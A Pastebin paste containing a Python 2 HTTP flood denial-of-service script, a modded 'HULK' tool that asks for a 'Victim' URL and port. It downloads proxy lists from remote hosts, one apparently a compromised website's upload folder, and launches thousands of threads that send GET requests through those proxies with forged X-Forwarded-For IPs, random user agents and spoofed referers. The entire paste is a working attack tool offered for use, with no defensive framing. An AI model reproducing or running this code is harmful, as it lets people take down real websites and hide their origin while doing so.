Advertisement
Guest User

Chip Kid ( Huệ Thiên )

a guest
Feb 12th, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.76 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #..:: > HULK_v9 < ::..
  4.  
  5. import random
  6. import socket
  7. import threading
  8. import time
  9. import datetime
  10. import urllib2
  11. import urllib
  12. import re
  13. import sys
  14. import optparse
  15. import os
  16. import urlparse
  17.  
  18. #Hulk Mod By Twi
  19. url=''
  20. proxy=''
  21. option=1
  22. checked_proxy=0
  23. url=''
  24. host=''
  25. option=1
  26. checked_proxy=0
  27. headers_useragents=[9999]
  28. headers_referers=[9999]
  29. keyword_top=[9999]
  30. request_counter=100000000000
  31. flag=0
  32. safe=0
  33. def inc_counter():
  34. global request_counter
  35. request_counter+=10000000
  36.  
  37. def set_flag(val):
  38. global flag
  39. flag=val
  40.  
  41. def set_safe():
  42. global safe
  43. safe=1
  44.  
  45.  
  46.  
  47.  
  48.  
  49. def getUserAgent():
  50. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  51. if platform == 'Macintosh':
  52. os = random.choice(['68K', 'PPC'])
  53. elif platform == 'Windows':
  54. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  55. elif platform == 'X11':
  56. os = random.choice(['Linux i686', 'Linux x86_64'])
  57. browser = random.choice(['chrome', 'firefox', 'ie'])
  58. if browser == 'chrome':
  59. webkit = str(random.randint(500, 599))
  60. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  61. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  62. elif browser == 'firefox':
  63. currentYear = datetime.date.today().year
  64. year = str(random.randint(2000, currentYear))
  65. month = random.randint(1, 12)
  66. if month < 10:
  67. month = '0' + str(month)
  68. else:
  69. month = str(month)
  70. day = random.randint(1, 30)
  71. if day < 10:
  72. day = '0' + str(day)
  73. else:
  74. day = str(day)
  75. gecko = year + month + day
  76. version = str(random.randint(1, 21)) + '.0'
  77. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  78. elif browser == 'ie':
  79. version = str(random.randint(1, 10)) + '.0'
  80. engine = str(random.randint(1, 5)) + '.0'
  81. option = random.choice([True, False])
  82. if option == True:
  83. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  84. else:
  85. token = ''
  86. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  87.  
  88. reFerers = [
  89. "https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=",
  90. "http://www.google.com/?q=",
  91. "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
  92. "https://drive.google.com/viewerng/viewer?url=",
  93. "http://www.google.com/translate?u=",
  94. "https://developers.google.com/speed/pagespeed/insights/?url=",
  95. "http://help.baidu.com/searchResult?keywords=",
  96. "http://www.bing.com/search?q=",
  97. "https://add.my.yahoo.com/rss?url=",
  98. "https://twitter.com/search?q=",
  99. "https://play.google.com/store/search?q="]
  100.  
  101. def randomReFerer():
  102. return random.choice(reFerers)
  103.  
  104. def buildblock(size):
  105. out_str = ''
  106. for i in range(0, size):
  107. a = random.randint(65, 90)
  108. out_str += chr(a)
  109. return(out_str)
  110.  
  111. def randomIp():
  112. random.seed()
  113. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  114. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  115. return result
  116.  
  117. def randomIpList():
  118. random.seed()
  119. res = ""
  120. for ip in xrange(random.randint(2, 8)):
  121. res = res + randomIp() + ", "
  122. return res[0:len(res) - 2]
  123.  
  124. class attacco(threading.Thread):
  125. def run(self):
  126. current = x
  127. if current < len(listaproxy):
  128. proxy = listaproxy[current].split(':')
  129. else:
  130. proxy = random.choice(listaproxy).split(':')
  131. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  132. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  133. referer = "Referer: "+ randomReFerer() + randomReFerer() + randomReFerer() + url + "?r="+ str(random.randint(1, 1000)) + buildblock(random.randint(7, 14)) + "\r\n"
  134. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  135. while nload:
  136. time.sleep(1)
  137. while 1:
  138. try:
  139. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  140. a.connect((proxy[0], int(proxy[1])))
  141. a.send(httprequest)
  142. try:
  143. for i in xrange(3):
  144. a.send(httprequest)
  145. except:
  146. tts = 1
  147. except:
  148. proxy = random.choice(listaproxy).split(':')
  149.  
  150. #Main
  151. print":::::::::::::::>KID<:::::::::::::::::"
  152. # Site
  153. url = raw_input("Victim: ")
  154. port = raw_input( "Port:" )
  155. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  156. host_url = url + ":" + port
  157. #Proxy
  158. proxyf = urllib.urlopen("https://350adf0c87a0387a8100df99cb67bc325c711efb.googledrive.com/host/0B03s85BjEAHVfkpJaVZKdDFnQ25VTEJsZE5FMzhwUjBOa1VLUFdtRDhSR01qenZ1M1hZMWs/yyy.txt").read()
  159. listaproxy = proxyf.split('\n')
  160. proxyf = urllib.urlopen("http://www.vigillaralarmes.com.br/admin/assets/ckeditor/kcfinder/upload/files/proxy.txt").read()
  161. listaproxy = proxyf.split('\n')
  162. #So luong
  163. thread = input("Number (7000): ")
  164. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  165. accept = "Accept-Encoding: gzip, deflate\r\n"
  166. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  167. nload = 0
  168. x = 0
  169. print("CODE MOD BY KID !!!!!!!!!!!!!!!!!!!!!!!!")
  170. for x in xrange(int(thread + 7000)):
  171. attacco().start()
  172. time.sleep(0.0000000000000000000000000000000000000000000000000000001)
  173. print("ATTACK BY KID !!!!!!!!!!!!!!!!!!!!!!!!!!")
  174. while not nload:
  175. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement